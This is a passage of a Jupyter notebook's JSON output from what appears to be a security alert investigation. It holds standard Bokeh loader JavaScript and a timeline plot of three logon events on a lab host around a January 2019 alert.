console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "Alert start time = 2019-01-15 05:15:15\n" ] }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"33f926f6-3a9b-4f47-a168-a54ab226e222\":{\"roots\":{\"references\":[{\"attributes\":{},\"id\":\"bb309224-5c7d-4f41-93c0-31091d3b3a1c\",\"type\":\"Selection\"},{\"attributes\":{\"overlay\":{\"id\":\"93568c93-7592-4d82-97c0-fcfb769edbcc\",\"type\":\"BoxAnnotation\"}},\"id\":\"d0636df6-05a0-428c-b494-dc9c3fcda42d\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"2718e326-bd17-4792-99b5-e809653ac39e\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"callback\":null},\"id\":\"51f1865f-2993-402e-b810-38c7d57cc51c\",\"type\":\"DataRange1d\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"93568c93-7592-4d82-97c0-fcfb769edbcc\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"cab91647-a1d4-4a37-be42-7ef0a0b8a919\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"5a5e4f29-be9b-40d4-8907-35206a19888e\",\"type\":\"ResetTool\"},{\"attributes\":{\"formatter\":{\"id\":\"2718e326-bd17-4792-99b5-e809653ac39e\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"69b8c134-e810-440b-a8d0-9c02a8c0b0fa\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"aea9652b-74cb-4f0e-9d7a-e1de96ef4f2d\",\"type\":\"LinearAxis\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"76e1dac1-36d5-4839-a7d2-cc7b342cf9e1\",\"type\":\"Circle\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1547529315000.0,\"y\":0,\"y_offset\":10},\"id\":\"59ebe5a8-16b6-4daf-8dc0-2ab57b6bd8b4\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"61c5c79c-50f7-492b-8e76-8bfb177b4a9e\",\"type\":\"PanTool\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"c306cde8-2212-46f1-8b4f-d4175dc7ea19\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"f2d68482-a7d4-4c64-a294-f3b394afd246\",\"type\":\"HoverTool\"},{\"id\":\"61c5c79c-50f7-492b-8e76-8bfb177b4a9e\",\"type\":\"PanTool\"},{\"id\":\"1a28ce32-ae0b-4550-b5a4-0af7aef65c70\",\"type\":\"WheelZoomTool\"},{\"id\":\"d0636df6-05a0-428c-b494-dc9c3fcda42d\",\"type\":\"BoxZoomTool\"},{\"id\":\"5a5e4f29-be9b-40d4-8907-35206a19888e\",\"type\":\"ResetTool\"}]},\"id\":\"424f5d6a-fa1f-4801-a92d-8ceda6bf6601\",\"type\":\"Toolbar\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"be724332-1a32-4c43-9463-7f3ec41be20d\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"4b65b682-9d25-421c-9eed-da3bf2b4c14a\",\"type\":\"Line\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Clustered Host Logons\"},\"id\":\"1aba9f8f-3fc4-4640-8172-5de832ddc49a\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"7108e380-02ab-44fb-8d61-83d0f4bf58dd\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"da6ce280-92fb-4ef1-8139-6713948c23f6\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"472232ba-0b6c-4ac4-8643-be030e8253e5\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"source\":{\"id\":\"da645544-84b6-43a7-8aea-a312a041248d\",\"type\":\"ColumnDataSource\"}},\"id\":\"4571a716-e5ae-4ded-b963-8633a33f2b0c\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"e08155de-4aef-43c7-a3e3-d663117ed57e\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"below\":[{\"id\":\"bd475a0c-40a5-4f94-ade6-d0706f0f895c\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"aea9652b-74cb-4f0e-9d7a-e1de96ef4f2d\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"bd475a0c-40a5-4f94-ade6-d0706f0f895c\",\"type\":\"DatetimeAxis\"},{\"id\":\"3813d9ac-cc27-4610-9453-7c65a5e62d35\",\"type\":\"Grid\"},{\"id\":\"aea9652b-74cb-4f0e-9d7a-e1de96ef4f2d\",\"type\":\"LinearAxis\"},{\"id\":\"a966da05-7035-408d-9db6-99c1801854a2\",\"type\":\"Grid\"},{\"id\":\"93568c93-7592-4d82-97c0-fcfb769edbcc\",\"type\":\"BoxAnnotation\"},{\"id\":\"113a5bfc-4664-4627-a819-46d9d750532e\",\"type\":\"GlyphRenderer\"},{\"id\":\"73b625b4-8605-4c66-9edd-9a27223b3def\",\"type\":\"GlyphRenderer\"},{\"id\":\"59ebe5a8-16b6-4daf-8dc0-2ab57b6bd8b4\",\"type\":\"Label\"}],\"title\":{\"id\":\"1aba9f8f-3fc4-4640-8172-5de832ddc49a\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"424f5d6a-fa1f-4801-a92d-8ceda6bf6601\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"51f1865f-2993-402e-b810-38c7d57cc51c\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"ed3552de-1e82-4c37-bc3b-61b24d9bf077\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"242f70e6-e470-42f5-b276-75fab88f6f1b\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"7108e380-02ab-44fb-8d61-83d0f4bf58dd\",\"type\":\"LinearScale\"}},\"id\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"e237885f-cfaa-447a-80f6-2ae98d352f91\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"688ebfc9-69a3-4447-aa40-9c3601759065\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"69b8c134-e810-440b-a8d0-9c02a8c0b0fa\",\"type\":\"BasicTicker\"}},\"id\":\"a966da05-7035-408d-9db6-99c1801854a2\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"e518aeaf-a0bc-4b8a-8675-fe37bc414a71\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[3,4,5],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkIAQDzz/oR2QgBwm/P+hHZC\",\"dtype\":\"float64\",\"shape\":[3]},\"index\":[2,0,1],\"y_index\":[1,1,1]},\"selected\":{\"id\":\"415d3163-1996-4543-a94c-e1080b20cf0b\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"472232ba-0b6c-4ac4-8643-be030e8253e5\",\"type\":\"UnionRenderers\"}},\"id\":\"da645544-84b6-43a7-8aea-a312a041248d\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"ed3552de-1e82-4c37-bc3b-61b24d9bf077\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"171521dd-a9a8-46a8-b688-cb4adfc7dcda\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"8a74b63e-ca13-46ce-ba07-504e2fdf6628\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1dd46f1b-d648-486f-9b8e-0beb3833ac7a\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1547529315000.0,1547529315000.0],\"y\":[0,2]},\"selected\":{\"id\":\"bb309224-5c7d-4f41-93c0-31091d3b3a1c\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"e237885f-cfaa-447a-80f6-2ae98d352f91\",\"type\":\"UnionRenderers\"}},\"id\":\"99da82b8-9c8c-44a4-af63-9193bc32825a\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"c24a336e-7595-4e08-b9d4-546ddd38eadf\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"4db4b54d-858c-4a70-9939-d2d0c2c9e138\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"99da82b8-9c8c-44a4-af63-9193bc32825a\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"cab91647-a1d4-4a37-be42-7ef0a0b8a919\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"4b65b682-9d25-421c-9eed-da3bf2b4c14a\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"daaa8268-ad8f-4b8f-972e-fd7de694db81\",\"type\":\"CDSView\"}},\"id\":\"73b625b4-8605-4c66-9edd-9a27223b3def\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"0ca64ca7-ee35-4f70-ab85-2517aaa06016\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"69b8c134-e810-440b-a8d0-9c02a8c0b0fa\",\"type\":\"BasicTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1204fb34-e966-435c-8883-cb92ecc583ae\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"source\":{\"id\":\"99da82b8-9c8c-44a4-af63-9193bc32825a\",\"type\":\"ColumnDataSource\"}},\"id\":\"daaa8268-ad8f-4b8f-972e-fd7de694db81\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"Account\",\"@Account\"],[\"LogonType\",\"@LogonType\"]]},\"id\":\"f2d68482-a7d4-4c64-a294-f3b394afd246\",\"type\":\"HoverTool\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1204fb34-e966-435c-8883-cb92ecc583ae\",\"type\":\"AdaptiveTicker\"},{\"id\":\"fda28dcf-a758-4a9a-a911-dc79a5074ee5\",\"type\":\"AdaptiveTicker\"},{\"id\":\"be724332-1a32-4c43-9463-7f3ec41be20d\",\"type\":\"AdaptiveTicker\"},{\"id\":\"8a74b63e-ca13-46ce-ba07-504e2fdf6628\",\"type\":\"DaysTicker\"},{\"id\":\"e518aeaf-a0bc-4b8a-8675-fe37bc414a71\",\"type\":\"DaysTicker\"},{\"id\":\"1dd46f1b-d648-486f-9b8e-0beb3833ac7a\",\"type\":\"DaysTicker\"},{\"id\":\"171521dd-a9a8-46a8-b688-cb4adfc7dcda\",\"type\":\"DaysTicker\"},{\"id\":\"da6ce280-92fb-4ef1-8139-6713948c23f6\",\"type\":\"MonthsTicker\"},{\"id\":\"688ebfc9-69a3-4447-aa40-9c3601759065\",\"type\":\"MonthsTicker\"},{\"id\":\"c306cde8-2212-46f1-8b4f-d4175dc7ea19\",\"type\":\"MonthsTicker\"},{\"id\":\"4db4b54d-858c-4a70-9939-d2d0c2c9e138\",\"type\":\"MonthsTicker\"},{\"id\":\"0ca64ca7-ee35-4f70-ab85-2517aaa06016\",\"type\":\"YearsTicker\"}]},\"id\":\"2abab453-8cbc-46c7-9fff-8361181db9e1\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"plot\":{\"id\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2abab453-8cbc-46c7-9fff-8361181db9e1\",\"type\":\"DatetimeTicker\"}},\"id\":\"3813d9ac-cc27-4610-9453-7c65a5e62d35\",\"type\":\"Grid\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"e08155de-4aef-43c7-a3e3-d663117ed57e\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2abab453-8cbc-46c7-9fff-8361181db9e1\",\"type\":\"DatetimeTicker\"}},\"id\":\"bd475a0c-40a5-4f94-ade6-d0706f0f895c\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"callback\":null},\"id\":\"242f70e6-e470-42f5-b276-75fab88f6f1b\",\"type\":\"DataRange1d\"},{\"attributes\":{\"data_source\":{\"id\":\"da645544-84b6-43a7-8aea-a312a041248d\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"c24a336e-7595-4e08-b9d4-546ddd38eadf\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"76e1dac1-36d5-4839-a7d2-cc7b342cf9e1\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"4571a716-e5ae-4ded-b963-8633a33f2b0c\",\"type\":\"CDSView\"}},\"id\":\"113a5bfc-4664-4627-a819-46d9d750532e\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"fda28dcf-a758-4a9a-a911-dc79a5074ee5\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1a28ce32-ae0b-4550-b5a4-0af7aef65c70\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"415d3163-1996-4543-a94c-e1080b20cf0b\",\"type\":\"Selection\"}],\"root_ids\":[\"0818fe82-c66f-4f74-b795-35c0ae79e09b\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"33f926f6-3a9b-4f47-a168-a54ab226e222\",\"elementid\":\"fd72ff55-27ad-49e8-bb8e-cd2709e17bee\",\"modelid\":\"0818fe82-c66f-4f74-b795-35c0ae79e09b\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "0818fe82-c66f-4f74-b795-35c0ae79e09b" } }, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"e959960e-2b11-4a38-a51c-0428eac33b16\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"e959960e-2b11-4a38-a51c-0428eac33b16\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid 'e959960e-2b11-4a38-a51c-0428eac33b16' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"e959960e-2b11-4a38-a51c-0428eac33b16\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"e959960e-2b11-4a38-a51c-0428eac33b16\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n 